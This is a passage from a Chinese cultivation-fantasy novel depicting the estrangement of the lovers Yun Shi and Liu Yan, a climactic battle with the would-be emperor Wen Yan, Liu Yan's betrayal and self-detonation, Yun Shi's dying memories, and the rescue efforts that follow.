温言自然不会坐视这样一个思想和实际上的双重威胁不断壮大。剿灭界碑天,铲除云实这个异端之首,已成为他稳固新朝、统一思想的必然选择。 大战的阴云,沉甸甸地压在界碑天上空。所有人都知道,决定命运的一战,无法避免。 就在这山雨欲来、紧张到极点的时刻,云实与流衍之间,那持续了十年、表面平静内里暗涌着冰封与裂痕的关系,终于在一次关于如何应对温言进攻的战略争执中,彻底爆发。 “你变了,云实。” 流衍站在云实的工坊里,声音不高,却带着压抑已久的疲惫与尖锐。他看起来比十年前健康许多,修为虽未恢复,但行动自如,只是眼神深处,总有一抹挥之不去的疏离与寂寥。 “当初你说,只是想给身边人一个安稳,想找到自己的路。可现在呢?你在对抗整个天下!你在宣扬那些……那些足以让所有人发疯的思想!你知不知道外面因为你的一句话,有多少地方起了骚乱,有多少人白白丧命?你的初心呢?你只是想保护人,不是想毁了现有的的一切,再把所有人拖入一场更不可知的混乱!” 云实正低头校准一块复杂无比的阵盘核心,闻言动作顿住。他没有立刻抬头,手指无意识地摩挲着冰凉的玉质表面。十年了,流衍很少主动找他说话,更少如此直白地表达质疑。他知道这一天迟早会来,只是没料到是在这样的关口。 “我没有变。”云实缓缓开口,声音平稳,却蕴含着不容置疑的力量,“我一直都在做我想做的,保护我想保护的。只是我看到的保护,和你认为的,可能不一样。” 他抬起头,看向流衍。那双曾经只映着布料纹样和具体难题的眼睛,如今深邃如夜空,承载了太多责任、抉择与不为外人道的重量。 “温言的路,是条死路。用更大的压迫换取暂时的稳定,用谎言和暴力维系虚假的秩序。他称帝又如何?不过是把旧日的绞索换成更华丽的罢了。我的路或许危险,或许颠覆,但它给了一条缝,一点光,一个……不需要跪着也能活下去、甚至站起来的可能。这难道不正是保护?” “可你的保护,代价太大了!”流衍向前一步,情绪有些激动,“你把界碑天变成了靶子!把这里所有人都拖进了和温言对决的绝地!你问过他们愿意吗?他们只是想活着,不是想当你的信徒,去实践你那套惊世骇俗的道理!” “活着?”云实的声音陡然提高,一直压抑的某种情绪终于冲破了平静的表象,“流衍,你以为温言会让我们只是活着吗?不会!他要的是绝对的顺从,思想的统一。界碑天的存在本身,就是对他最大的挑衅。没有我那些惊世骇俗的道理,温言的铁蹄一样会踏平这里,把所有人变成他新朝的奴隶或耗材!区别只在于,我们是懵懂无知地引颈就戮,还是清醒地拿起武器,为自己争一个不一样的未来!” 他放下阵盘,站起身,走到流衍面前,两人距离很近,能感受到彼此急促的呼吸。 “至于代价……我当然知道。每一天,我都看着这代价。但我更知道,有些东西,比活着更重要。比如尊严,比如选择,比如……知道真相的权利。” 流衍望着他,眼中翻涌着痛苦、不解,还有一丝深藏的、连他自己都不愿承认的恐惧。 “你说得都对,云实。你总是有道理。可你忘了一件事,”他的声音低了下去,带着一丝颤抖,“你忘了……我。” 云实的心猛地一缩。 “这十年来,你在忙你的大事,你的创造,你的战斗,你的道理。”流衍扯出一个比哭还难看的笑,“我呢?我像个影子,活在你的庇护下,看着你越来越远,看着你变成界碑天之主,变成别人口中的异端之师,变成我几乎要认不出的样子。我想帮你,可我什么都做不了,我连你那些纹路都学不会。我只能看着,担心着,然后在自己心里一遍遍重温那个山洞里的绝望……还有你后来,看我时那种……那种让我觉得自己是个累赘、是个麻烦的眼神。” “我没有……”云实想反驳,却被流衍打断。 “你有!”流衍的声音陡然拔高,眼眶发红,“自从你把我从天蕴那里带回来,你就没有真正再看进我的眼睛!你生气,对吗?气我当初在山洞里那样做,气我自杀,气我……成了你的负担,拖了你的后腿,差点毁了你的计划。所以你躲着我,用忙碌当借口,把我们之间的一切都冰封起来。云实,你说你爱我,”他的声音哽咽了,“可你的爱,就是把我放在一个安全的角落,然后头也不回地去赴你的汤蹈火,去实践你的伟大理想,让我连陪你一起疼、一起怕的资格都没有吗?” 云实僵在原地,脸上血色褪尽。 是的,他生气。他怎么可能不生气?当他疯了一样撕开空间,当他看到流衍奄奄一息被天蕴送回来,那种劫后余生的庆幸之下,是几乎将他吞噬的后怕和愤怒。 气流衍的轻易放弃,气他把自己置于那种绝境,更气……自己当时的无能为力,以及事后不知该如何面对的恐慌。他选择了埋头做事,用无尽的责任和危机来掩盖那份复杂难言的情绪,也下意识地,将流衍推到了一个他认为安全却也疏远的位置。 “我……”云实张了张嘴,却发现喉咙干涩得发不出完整的声音,巨大的疲惫感如同潮水般将他淹没。 “我真的很累,流衍。”他终于承认,声音沙哑不堪,“每一天,我都觉得很累。要撑起这里,要对抗外面,要不断思考、创造、战斗……我怕我停下来,就再也撑不住了。我也怕……怕靠近你,又会想起那天山洞里的感觉,怕自己控制不住……那种又想抱住你,又想掐死你的矛盾。” 他闭上眼,深吸一口气,再睁开时,眼中是深不见底的疲惫与坦诚:“我爱你,从未变过。可这份爱,和我必须承担的一切,混在一起,让我不知道该怎么办。我只能先做我认为必须做的事,先把眼前这座山搬开。我以为……等一切安定下来,我们会有时间……” “不会有时间的,云实。”流衍摇了摇头,泪水终于滑落,却带着一种奇异的平静,“温言的大军就在外面,生死一战近在眼前。而就算你赢了温言,后面还有无穷的麻烦,你的路注定没有安定可言。我等了十年,看着你越走越远,也看着自己在这份等待和无力中,慢慢枯萎。我不能再这样下去了。” 他后退一步,拉开了两人之间的距离,这个细微的动作,却仿佛划开了一道天堑。 “你要去践行你的道,去保护你的界碑天,去做那个举世皆敌却一往无前的云实。我……我祝福你。” “你要……走了?”云实的心脏像被一只无形的手攥紧,骤然停跳了一拍。他从未想过这个可能,即使十年疏离,他也始终觉得流衍就在这里,在这个他们共同建立起来的地方。 “是。”流衍点头,抹去脸上的泪痕,眼神重新变得清晰,甚至有一种破釜沉舟的坚定,“我不知道能去哪里,能做什么。但留在这里,看着你,想着过去,对我来说已经是一种煎熬。或许……我可以去试着找找,除了流衍修士和云实的道侣之外,我还能是谁。” “外面兵荒马乱,你现在的修为……”云实急道,下意识想抓住他。 流衍避开了他的手,微微笑了笑,那笑容里满是苦涩与释然:“死过一次的人,还怕再死一次吗?何况,这十年,我也不是完全白过。你的那些纹路道理,我多少听懂了一些。天蕴师尊当年教我的一些东西,或许也能换个方式用用。放心吧,我会照顾自己。” 他最后深深看了云实一眼,那目光仿佛要将他的模样刻进灵魂深处。 “保重,云实。希望你能赢。希望你的界碑天,真的能成为你想要的……那束光。” 说完,他不再停留,转身,拉开了工坊的门。午后的阳光涌进来,照亮了他挺直的背影,也照亮了室内飞扬的尘埃,和云实瞬间苍白如纸的脸。 流衍走了。没有激烈的争吵尾音,没有拖泥带道的纠缠,就这样平静地、决绝地,消失在了界碑天井然有序的街巷之中,走向外面那个战火纷飞、前途未卜的世界。 云实站在原地,久久未动。工坊里安静得可怕,只有他自己沉重而缓慢的呼吸声。桌上那块未校准完毕的阵盘,在阳光下反射着冰冷的光。一直支撑着他的那股强大的、务实的、仿佛无坚不摧的意志,在流衍转身离去的那个瞬间,似乎悄然裂开了一道细微却深不见底的缝隙。 29.【二十六】 界碑天外,最后的战场。 没有预想中的大军对冲,也没有复杂的阵法对轰。当温言那支打着崭新旗号、装备精良、气势如虹的新朝王师真正兵临城下,与依托十年经营、防线层层叠叠、人人皆怀死志的界碑天守军对峙时,战争的形态却以一种出乎所有人意料的方式简化了。 温言,这位即将登基的新帝,一身玄底金纹的常服,并未披甲,独自踏出了森严的军阵。他面容依旧温润,眼神却深邃如古井,周身气息圆融内敛,竟似与这天地隐隐共鸣。十年权柄与征伐,未曾在他身上留下多少戾气,反而沉淀出一种令人心悸的、仿佛天道般高远莫测的威严。 另一边,界碑天的防线悄然分开一道缝隙。云实走了出来。他穿着最寻常的粗布衣裳,沾着工坊里的尘灰和草木汁液的痕迹,手里甚至没有像样的兵器,只有一柄跟随他多年的、被灵力反复浸染得乌沉发亮的旧柴斧。他看起来平平无奇,像是个刚从田间地头归来的农夫,唯有那双眼睛,沉静得如同暴风雨前最深的海,映不出丝毫波澜,也映不出对面煊赫的军容。 没有多余的言语。仿佛某种宿命的牵引,又或是彼此都清楚,言语在此时已毫无意义。 没有惊天动地的声势起手。温言只是轻轻抬手,向前一点。刹那间,以他指尖为中心,方圆数里的空间仿佛被投入石子的湖面,漾开层层肉眼可见的、透明的涟漪。所过之处,界碑天外围精心布置的、基于云实纹路原理的预警阵法、迷惑幻象、灵力陷阱,如同被无形大手抹去的沙画,悄无声息地瓦解、消散,还原为最本初平静的天地灵气。 云实没有试图去维持或对抗那些消散的阵法。在温言抬手的瞬间,他已如鬼魅般消失在原地。不是瞬移,而是他的身影仿佛融入了脚下的大地,融入了周围流动的风,融入了光线与阴影交织的缝隙。下一刻,他已出现在温言身侧数丈,柴斧无声无息地挥出。斧刃划过空气,没有带起罡风,却让所过之处的空间泛起一种怪异的、仿佛老旧布料被缓缓撕裂的褶皱感。 温言身形未转,只是袖袍微微一拂。那拂动的轨迹玄妙难言,仿佛暗合了天地间某种至简的韵律。袖袍所及,空间褶皱被轻易熨平,斧刃上附着的混乱侵蚀之力,如同冰雪遇沸汤,迅速消融。 然而,云实的攻击并非只有一斧。第一斧被化解的瞬间,第二斧已从另一个不可思议的角度递出,紧接着是第三斧、第四斧…… 他的身影化作了无数道模糊的残影,围绕着温言高速旋转、闪现。他将自身对八行矛盾那斑杂而独特的理解,拆解、重组、随机迸发,攻击毫无规律可循,却又每每直指温言力量运转中那稍纵即逝的、理论上存在的不谐之处。 温言始终站在原地,身形飘忽如柳絮,在漫天斧影中从容穿梭。他很少硬接,更多是以精妙到毫巅的身法避开锋芒,或以袖袍、手指轻点,引偏攻击方向,将云实狂暴杂乱的力量导入脚下大地或周围虚空。他的应对,如同最高明的棋手,总是能以最小的代价,化解对方最凶猛的攻势。 随着时间推移,纯粹规则的博弈对双方都是巨大消耗。僵持中,招式开始降级。温言袖中飞出的不再是无形韵律,而是凝成实质的冰火双龙,鳞爪分明,嘶吼着交错扑杀;云实斧下劈出的也不再是抽象混乱,而是凝聚了地火阴风的狂暴乱流,与巨龙悍然对撞。轰鸣声开始响起,灵力对撞的光焰一次次照亮阴沉的天穹。 渐渐地,连这等精妙的拟化物也难以为继。战斗越来越像最原始、最笨拙的角力。 一道金色光柱与一道灰暗洪流在半空死死抵住,互相侵蚀、消耗,爆发出持续不断的沉闷巨响。他们从地面打到半空,身影没入云层,搅动风雷;又从云层坠落,脚踏大地,引得山峦微颤。战斗的余波并不剧烈扩散,而是被两人有意无意地控制在方圆数里的区域内,但区域内的一切都变得光怪陆离。空间时而拉伸时而压缩,光线扭曲折射出迷幻的色彩,温度在极寒与酷热间跳跃,生机与死寂的气息交替弥漫。观战的两军,无论是温言麾下久经沙场的精锐,还是界碑天中见惯了云实手段的居民,都看得目眩神驰,继而心生大恐怖。 温言越打,心中惊异越甚。他早已将云实视为心腹大患,给予了极高估量,但真正交手,才发现此人的难缠远超预期。云实的力量根源诡异,驳杂不纯,却异常坚韧和顽固,仿佛野草,火烧不尽,风吹又生。更麻烦的是他的战斗方式,完全不受任何正统套路束缚,天马行空,却又每每能击中要害。自己凭借高出不止一筹的修为境界和对秩序更深的理解,明明在质上占据优势,却总有种一拳打在棉花上,或者被无数细微沙砾不断磨损的不适感。 云实则感到一种沉重的、几乎令人窒息的压力。温言太稳了,稳得像一座无法撼动的山,像一条奔流不息却永远正确的河。自己的每一次攻击,无论多么奇诡,似乎都能被对方轻易纳入其秩序的框架内消化、瓦解。 不知过了多久,也许是一天,也许是几个时辰。两人的速度肉眼早已无法捕捉,只能看到那片被扭曲的领域中,光影疯狂变幻,偶尔有令人心悸的规则碰撞的闷响传出。 终于,在一次激烈的对撞后,两人倏然分开,各自立于虚空一端,微微喘息。云实的粗布衣裳多了几处焦痕与冰屑,嘴角溢出一丝鲜血,握着柴斧的手臂微微颤抖。温言的常服依旧整洁,只是发髻稍乱,呼吸也略显急促,看向云实的目光,凝重中带上了更多的探究,以及一丝……难以言喻的欣赏? 就在这时,温言忽然抬手,向着身后严阵以待、却因这场超越理解的战斗而士气有些浮动的大军,做了一个明确的后撤手势。 同时,他清朗的声音传遍战场,带着一种悲天悯人的疲惫:“够了。” “此战,非为杀戮,实为平定祸乱,还天下安宁。云实道友修为通玄,理念虽异,亦是人杰。继续缠斗下去,不过徒增伤亡,消耗我花夏元气。朕……不忍见将士们白白流血,百姓再受兵燹之苦。” 他目光扫过下方因他话语而神色各异的双方军士,最终落在云实身上,语气诚恳:“云实道友,不若暂且罢手?界碑天民众,只要肯遵新朝法度,放下兵器,朕可承诺,一个不杀,妥善安置。至于道友你……朕愿以国师之位相待,共商治国安邦之策。何必执着于一方之见,致使生灵涂炭?” 这话说得冠冕堂皇,情真意切。配合着他方才展现的、似乎略占上风却主动罢手的姿态,更显得胸怀宽广,仁德无双。他麾下不少将领士卒面露感动与崇敬。连界碑天这边,一些并非核心、只是被庇护而来的民众,眼神中也出现了动摇与希冀。 如果不用死,如果能被安置…… “呵……” 一声低低的、充满无尽疲惫与讥诮的冷笑,从云实喉咙里溢出。他抬手,用沾着血迹的袖子,狠狠擦去嘴角的血渍,动作粗鲁,眼神却亮得骇人,死死盯着温言。 “又是这样……”他喃喃道,声音不大,却清晰地传入每个关注着战场中心的人的耳中,“又是这样。温言,十年了,你一点没变。永远在用好的、对的、不得已的理由,来掩盖底下那些肮脏的算计和野心。当年你用救济流民掩盖收编私兵,用捐献家产掩盖权钱交易,现在……你又用不忍伤亡来掩盖你啃不下我这块硬骨头、怕损耗过多实力影响你登基后镇压四方的算计吗?” 他的声音陡然拔高,带着积压了十年的愤怒与失望:“收起你那套虚伪的把戏!你口中的法度,不过是套在所有人脖子上的新枷锁!你许诺的安置,不过是另一种形式的圈禁和奴役!至于共商国是?和你这种骨子里只相信权力和控制的人,有什么可商量的?商量怎么把天下人都变成你棋盘上更听话的棋子吗?!” 云实的话,像一把把冰冷的刀子,剥开了温言温情脉脉的表皮。温言的脸色终于微微沉了下来,那完美的温润面具出现了一丝裂痕,眼底深处掠过一丝冰冷的怒意,但很快又被更深的城府掩盖。 “冥顽不灵。”他轻轻吐出四个字,不再多言。但罢战的手势并未收回,大军也的确停止了前进的压迫。 这种被算计的感觉让云实心中的烦躁达到了顶点。他厌烦了这种永远在对方的规则框架内打转的憋屈感。看着温言那副我为苍生忍辱负重的虚伪模样,看着下方一些被动摇的视线,一股混合着暴戾与决绝的冲动,冲垮了他最后的耐心。 “你想平定?好!我就打到你平定不了的地方去!” 云实不再压抑体内那融合了苏妄馈赠、自身感悟与十年积累的、无比斑杂却也无比庞大的力量。他将所有的意念,所有的“乱”、“序”、“生”、“死”、“明”、“暗”……一切矛盾的感悟,不管是否冲突,不顾是否稳定,强行拧成一股,灌注进手中的柴斧。 那柄陪伴他多年的旧斧,发出了不堪重负的哀鸣,斧身浮现出无数细密的裂纹,裂纹中迸射出混乱到极致、也危险到极致的光芒。他不再追求技巧,不再寻找破绽,而是将自身化为一道最纯粹、最蛮横的破灭洪流,朝着温言,朝着他身后那象征着新秩序的巍峨军阵,朝着那座隐约可见轮廓的、温言即将入主的都城方向,决绝地撞了过去! 温言脸色终于大变。他感受到了这一击中蕴含的、不惜同归于尽的疯狂意志,以及近乎规则湮灭的恐怖气息。 玄奥的符文自温言周身亮起,天地间的秩序之力被他疯狂抽调,在他身前凝聚成一层层晶莹剔透、仿佛蕴含世界至理的屏障。他双手结印,一道浩瀚、堂皇、仿佛承载着天命所归意志的金色光柱,自他掌心喷薄而出,迎向云实化身的混乱洪流。 最后的碰撞,无声,却让所有目睹者神魂剧震,仿佛听到了世界根基被撼动的哀鸣。 混乱的洪流与堂皇的光柱交织、湮灭、互相吞噬。那片空间彻底化作了虚无的混沌,光线、声音、色彩的概念似乎都被短暂抹去。只有两道身影,在混沌的中心,进行着最原始也最残酷的角力。 云实的身体在崩解,柴斧早已化为齑粉,他的皮肤开裂,鲜血尚未涌出就被蒸发,骨骼发出咯吱的呻吟。但他的眼睛亮得如同燃烧的星辰,死死盯着屏障后同样脸色苍白、嘴角溢血、维持着光柱输出却显然也付出巨大代价的温言。 他一步步向前,顶着那足以让寻常造化期修士瞬间汽化的毁灭性能量,向着温言,向着那座城,艰难却坚定地推进。每前进一寸,他身上的伤势就加重一分,温言维持屏障和光柱的消耗也加剧一分。 终于,他突破了最后一层规则屏障的阻隔,来到了温言面前。两人之间的距离,不过丈许。温言眼中第一次露出了惊怒,以及一丝难以置信。 他没想到云实能拼到这个地步,更没想到云实的目标如此决绝,竟是要逼他进行最本源的、毫无花巧的力量对耗,这显然对他不利。 云实抬起血肉模糊、可见白骨的手臂,指尖凝聚着最后一点、也是最精纯的一点乱之本源,点向温言的眉心。这一指若中,即便温言修为通天,也必然道基受损,重创难愈。 就在这刹那间—— 一道熟悉却决绝无比的气息,毫无征兆地,出现在了云实的身后,近在咫尺。 云实所有的注意力、所有的感知、所有的力量,都锁定在前方的温言身上,对身后这道气息的到来,竟没有丝毫防备——或许,内心深处,他从未真正防备过这个气息的主人。 “噗嗤!” 利刃穿透血肉的声音,轻微,却清晰得可怕。 云实身体猛地一僵。凝聚在指尖的力量骤然涣散。他低下头,看到一截染血的、闪烁着微弱却熟悉灵光的剑尖,从自己胸口透出。剑尖的形状,他认识,那是流衍早年佩剑的制式,后来断了,这似乎是……重铸的?剑身上,还依稀有他当年摸索着为流衍修复时,笨拙刻下的、聊作加固的简陋纹路。 时间仿佛凝固了。 他极其缓慢地、带着一种近乎荒诞的茫然,转过头。 流衍的脸,近在咫尺。苍白,消瘦,眼眶深陷,但眼神却是一种云实从未见过的、混合着巨大痛苦、绝望赎罪、以及某种扭曲快意的平静。他的双手,正紧紧握着那柄穿透了云实胸膛的剑柄,指节因用力而发白,微微颤抖。 “为……什么?”云实张了张嘴,却没有声音发出,只有鲜血从口中涌出。他的视线开始模糊,温言那惊愕中带着一丝复杂了然的脸,远处纸鸢目眦欲裂、疯狂冲来的身影,界碑天众人绝望的呐喊……一切都变得遥远而不真实。唯有流衍这张近在咫尺的、陌生的脸,无比清晰。 流衍没有回答。他只是深深地、最后地看了云实一眼,那一眼中,似乎包含了十年冰封的所有未言之语。 然后,在温言因这突如其来的变故而微微失神、防御出现一丝空隙的瞬间,流衍松开了握剑的手,用尽全身力气,合身扑向了近在咫尺的温言! 他的身体在扑出的过程中,骤然亮起一种不祥的、仿佛要将自身灵魂与根基一并点燃的炽烈光芒!那不是攻击,那是彻头彻尾的、不留丝毫余地的…… 自爆! 以流衍曾经的天赋根基,即便修为未复,但以这种彻底燃烧一切的方式引发的自爆,其威力,尤其是在如此近的距离,对准了因云实濒死一击和突发变故而心神稍分的温言。 “轰——!!!” 比之前任何一次碰撞都要耀眼、都要狂暴的光芒,吞噬了那片混沌的中心。毁灭性的冲击波席卷开来,将勉强靠近的纸鸢等人狠狠掀飞,连远方的军阵都人仰马翻。 光芒久久不散。 云实胸口那个前后通透的窟窿,狰狞可怖,鲜血早已染红了残破的衣衫,滴落虚空。他僵硬地低下头,看着自己胸前那个巨大的伤口,看着那飘落的断剑和碎片。 他看到了。看得很清楚。流衍扑向温言,然后……一起化作了光尘? 杀了自己,然后……用这种方式,杀了温言? 为什么? 无数画面在迅速黑暗的意识中闪回。 初次见面时流衍沉稳的守护,天衡宗后厨昏暗灯光下的交谈,界碑林小屋里日复一日的沉默照料,山洞里绝望的告白,工坊里撕心裂肺的争吵,离去时那个挺直却孤寂的背影……最后,定格在眼前这张混合着极致痛苦与扭曲平静的脸,和穿透胸膛的冰冷剑锋。 原来……那十年的冰封之下,不是淡漠,而是早已酝酿好的、淬毒的恨与……同归于尽的决意吗?恨自己的忽略?恨自己的背离?还是恨这将他变得无用、将一切变得无可挽回的世道?所以,选择用这种方式,同时惩罚自己,也帮助自己解决温言这个最大的敌人?多么……惨烈又荒唐的两全。 云实想笑,却咳出更多的血沫。视线越来越暗,身体越来越冷。他听到远处传来纸鸢撕心裂肺的哭喊,听到界碑天方向爆发出震天的悲吼与随之而来的、更加疯狂的厮杀声,听到整个世界仿佛都在崩塌、在燃烧。 但他什么都做不了了。最后的力气随着血液流失殆尽。他感到自己在坠落,向着下方那片被他亲手清理、建设、又最终沦为战场的土地坠落。 黑暗与冰冷吞噬而来,但在意识彻底沉入虚无前的最后缝隙里,时间被拉得无限漫长,无数被血与痛浸泡的记忆挣脱了顺序,汹涌地倒灌进来。 是热的。最初也是最后的暖意,来自父母布料店里混合着阳光与棉絮的味道。母亲低头缝补时,鬓角那缕总是滑落的碎发。父亲将最厚实的布料留给他做冬衣时,掌心的粗糙与温热。测灵失败,科举落榜,那石板路雨后映着天光,心里空落落,却因想着弟弟妹妹的学费、明天该进的坯布花色,而踏实地沉下去。 然后,冷的,尖锐的,划开了一切。仙门灵光炸碎店铺,父亲倒地的闷哼,尘土呛入肺腑。苏妄漫不经心抛来的储物袋,像一枚冰冷的嘲笑。深夜,他看着再也无需担心发霉的布料,第一次无比清晰地看到了那道鸿沟:仙凡之别,原来是如此令人齿冷的维度之差。 心里有东西烧起来,不是火,是冰层下的暗流,混着屈辱与不甘。为了跨过去,他咽下了更脏的东西。 但光也有。纸鸢递来的干粮很硬,她眼睛却很亮。天衡宗后厨冰冷的洗碗水里,是她点醒他:“你那不叫忍,叫把自己不当人。” 这句话像一根针,刺破了浑噩的脓包。还有天蕴师姐递来需要修补的练功服,她的指点简洁却精准,那是第一次有人将他的手艺当回事。而流衍……那时的流衍,温和,端正,像一棵让人安心倚靠的树。他投来的目光里有探究,但更多是带着温度的关切。 救赎碎裂了。修炼正统功法寸步难行,内丹暴动的痛苦日复一日。同期弟子纷纷突破,世界向前,他被抛弃在原地。绝望催生出扭曲的藤蔓,他回到了苏妄那里,用身体换取力量。红白两色的衣袍被他拆开,又笨拙地缝合成一件。 暖意与寒意开始交织,难分彼此。归乡路上,流衍无微不至的守护带来不安的暖。 “为何待我如此之好?”他问。 流衍没有回答,只是温和地笑。那笑容底下,仿佛藏着更深的、他当时看不懂的渊薮。家中,父母泪光里的惊喜与担忧,妹妹云舒聪慧发亮的眼睛。他想给她一个不一样的人生。 然后,世界彻底倾斜、崩坏。霁雪仙尊带来的不是公道,是更冷酷的秩序。流衍被带走,通缉令下发,亡命天涯。濒死之际,是苏妄那句关于储物袋原理的闲聊,与他布料商的本能碰撞,迸发出第一簇微弱的、属于自己的火苗。山魈案的惨状、被篡改的官制法器、温言看似援手实则深不可测的介入……世界的光滑表面下,尽是污秽与算计。 京城温府,是另一座精致的牢笼。安全,却令人窒息。为了打破它,他再次与苏妄交易,灵光乍现,耗尽心血为温言缝制那件法衣,是将所有无法言说的感激、依赖与恐惧,一针一线绣了进去。短暂团聚时,纸鸢、予、温言都在,那片刻的、寻常的温暖,让他恍惚以为或许真有不一样的未来。 而流衍,始终是心底最深的那道伤口。他重伤归来,两人在激烈的争吵与痛苦的剖白中,笨拙地确认了心意。可伤口太深,信任有了永久的裂痕。他决意与温言了断,却换来更彻底的背叛与囚禁。界碑林边缘,一砖一瓦建立家园的艰辛里,藏着渺小的希望。直到弟弟云岭被操控着与他反目,直到温言终于撕下伪装,直到……流衍为他挡下那致命一击。 流衍倒在血泊里的样子,成了他往后十年无法挣脱的梦魇。天蕴诊断“五十年不可运功”时,流衍眼中那簇光彻底熄灭了。他笨拙地说“五十年很短”,流衍却低语“我想早点帮你”。 那一刻,他看清了他们之间横亘的,不仅是伤痛,还有流衍被剥夺了力量与价值后,无法填补的空洞与自我厌弃。他日夜照料,钻研玉简,予带来些许生气,流衍的身体缓慢好转,可那道沉默的冰墙,却一日厚过一日。 界碑天在生长,他的心却在荒芜。接纳流民,看到云珠眼中重燃的希望,听纸鸢震惊地推测“人人皆可修仙”的真相……他肩上的担子越来越重,脚下的路越来越清晰,可回过头,流衍总是远远地、沉默地看着,眼神一天比一天遥远。当流民少年云珠问他“你也要我们当士兵吗”,他答“挡在前面的,只会是我”。这是他的道,他的责任,却也将流衍彻底推向了“被保护者”的孤岛。 十年。流衍最终离开时那绝望平静的眼神,比任何刀剑都锋利。那一刻,云实才痛彻地明白,他一路披荆斩棘想要保护的一切,早已在过程里,将他最爱的人变成了最陌生的孤岛。他们用十年时间,精心养育了这段关系,也亲手为它掘好了坟墓。 最后,是贯穿胸膛的剑,冰冷,熟悉。他转过头,看到流衍苍白脸上那种混合了极致痛苦、赎罪与扭曲平静的表情。没有答案。只有流衍扑向温言时,那决绝燃烧的、毁灭一切的光焰。 所有记忆的碎片,布料店的暖,鸿沟的冷,纸鸢的亮,苏妄的邪,温言的伪,创造的喜,守护的重,流衍最初的温柔与最后的冰冷……在这一刻,被胸口那彻骨的寒意和毁灭的强光焊接在一起,铸成一道无解的、残酷的终局。 他看到了。看到很多年前,天衡宗某个平凡的午后,阳光很好,流衍对他露出的那个,干净而温和的、转瞬即逝的笑容。 原来,最初的心动,便是最后穿心的剑。 这辈子,再也不想来了。 …… 最先反应过来的,是离战场中心稍近、一直在紧张观战的纸鸢和予。 当那毁灭性的自爆强光与冲击波稍稍平息,露出空中缓缓坠落的云实和下方一片狼藉的虚无区域时,纸鸢的大脑一片空白,随即被一股巨大的、近乎本能的恐慌攫住。 她几乎是扑向旁边同样呆若木鸡的予,用力摇晃他的肩膀:“予!醒醒!别愣着!你们万象无常殿不是最钻研药理医道吗?!快!快叫你能叫到的、最厉害的医师!长老!你师父!不管是谁,快去啊!能救的!他们都还……都还是修仙者!有灵气护体,说不定……” 她的声音尖利得变了调,眼眶瞬间通红,手指掐得予生疼。予被她摇得回过神,脸色惨白如纸,但常年受殿内熏陶培养出的、面对突发状况的些许镇定压过了惊骇。 “对……对!药!救人!”他语无伦次,手忙脚乱地去摸身上的传讯符,又猛地想起什么,转头看向不远处同样飞身而起、面色凝滞的天蕴仙尊,“天蕴师姐!快!我们先接住他们!” 三道身影,带着截然不同却同样沉重的心情,化作流光冲向坠落点和爆炸中心。纸鸢和予接住了已无知觉、胸口伤口狰狞的云实。天蕴则凭着更高的修为和对空间波动的敏感,在依旧混乱的能量余烬中,艰难地定位并捞出了另外两道身影。 几乎看不出人形的流衍,以及……似乎还有一丝极其微弱能量护持的温言。 落地后,纸鸢立刻将云实小心平放,手指颤抖着去探他的鼻息、颈脉,又试图将微薄的灵力探入他体内。触手是一片死寂的冰凉,胸口那个前后通透的窟窿边缘,残留着一种熟悉的、却带着彻底毁灭意味的灵力痕迹。 那是流衍的剑气,混合了某种决绝的、自毁性的力量。她的灵力刚触及丹田区域,便感到一片彻底的空洞与破碎,核心的金丹早已随着那一剑彻底崩毁,连同心脏一起,被那股力量搅得粉碎。别说救治,就连用丹药吊住一口气都成了奢望。仙凡有别,但有些伤害,触及了存在根本,便是大罗金仙也难救。 纸鸢的手僵在半空,眼泪终于大颗大颗地砸下来,落在云实沾满血污和尘土的脸上。 另一边,天蕴的脸色也难看到了极点。流衍的情况比云实更甚,自爆几乎将他存在过的所有痕迹都抹去了大半,只剩下一些焦黑的、勉强能看出骨骼形状的残骸,以及几片属于旧衣和断剑的碎片。别说生机,连一点完整的组织都难以寻觅。 而温言……他被放在稍远些的地上,外面的玄底金纹常服早已破烂焦黑,但隐约可见底下似乎还有一层衣物。天蕴小心地拨开最外层破碎的布料,露出里面一件质地奇特、看似常服却流转着黯淡灵光的衣物。那衣服也破损严重,多处焦痕撕裂,但在心口、丹田等要害位置,似乎仍有一些极其复杂精密的刺绣纹路在微弱地闪烁,维系着最后一层薄如蝉翼的防护。 予安置好云实这边,立刻连滚爬爬地冲过来。他看到温言身上那件破损的内衬衣物时,先是一愣,随即瞪大了眼睛,失声叫道:“这……这不是……云实哥当年给温大人做的那件法衣吗?!他、他竟然一直穿着?!” 纸鸢闻言,猛地转过头,泪眼模糊中看向那件依稀可辨当年精致轮廓、如今却惨不忍睹的衣服。 是的,她认得。那是云实耗尽心血、闭关半年才完成的“第一件作品”,融合了无数奇思妙想和笨拙却真挚的心意。她记得云实献宝般拿出来时的紧张与期待,记得温言试穿后那罕见的、真实的震撼与动容。可她从未想过,这件衣服,会被温言贴身穿着,直至今日,在如此毁灭性的爆炸中,竟然……竟然还护住了他最后一口气! “重点不是他一直穿着……”予的声音急促起来,他蹲下身,小心地探查温言的气息和体内状况,脸上露出混合着震惊与不可思议的神色,“重点是这衣服……它的防护和维生效果,远超我们当初的预估!温大人的心脉和丹田核心受到了致命冲击,按理说必死无疑,但这衣服上的纹路……它们好像在最后关头,以一种我们完全没预料到的方式,强行锁住了一丝最根本的生机,并且……似乎在极其缓慢地引导周围散逸的、最精纯平和的能量进行最基础的维系!这……这简直是……” 他抬起头,看向天蕴和纸鸢,眼中迸发出绝境中看到唯一一丝微光的急切:“天蕴仙尊!现在立刻需要您稳定大局!界碑天这边,温言大军那边,全都乱了!必须有人主持局面,说明情况,防止更大的混乱和冲突!纸鸢!”他又转向纸鸢,“快!用最快的传讯方式,联系我爹!万象无常殿的执雪仙尊!把这里的情况,尤其是温言大人此刻的状态和这件法衣的情况,详细告诉他!请他立刻放下一切,用最快速度赶来!只有他或许有办法接手这种……这种涉及根本生机维系和超高阶法器续命的棘手情况!我先用我身上所有的保命丹药和殿里教的紧急手法,帮他吊住这最后一口气!” 予的声音带着不容置疑的急迫和一种属于医者的权威。天蕴瞬间明白过来,她看了一眼气息全无的云实和流衍的残骸,眼中痛色深重,却也知道此刻孰轻孰重。温言的生死,关乎整个战局乃至天下刚刚被引爆又骤停的走向。她深吸一口气,强行压下翻涌的情绪,点了点头,身形一闪,已升至半空,清冷而威严的声音裹挟着灵力传遍四方,开始压制混乱,陈述事实。 纸鸢也抹了把眼泪,她知道现在不是悲伤的时候。予的判断是对的。她立刻取出最紧急的传讯法器,毫不犹豫地启动了指向万象无常殿最高层、代价极其高昂的即时通讯,语速极快却清晰地将情况说明。 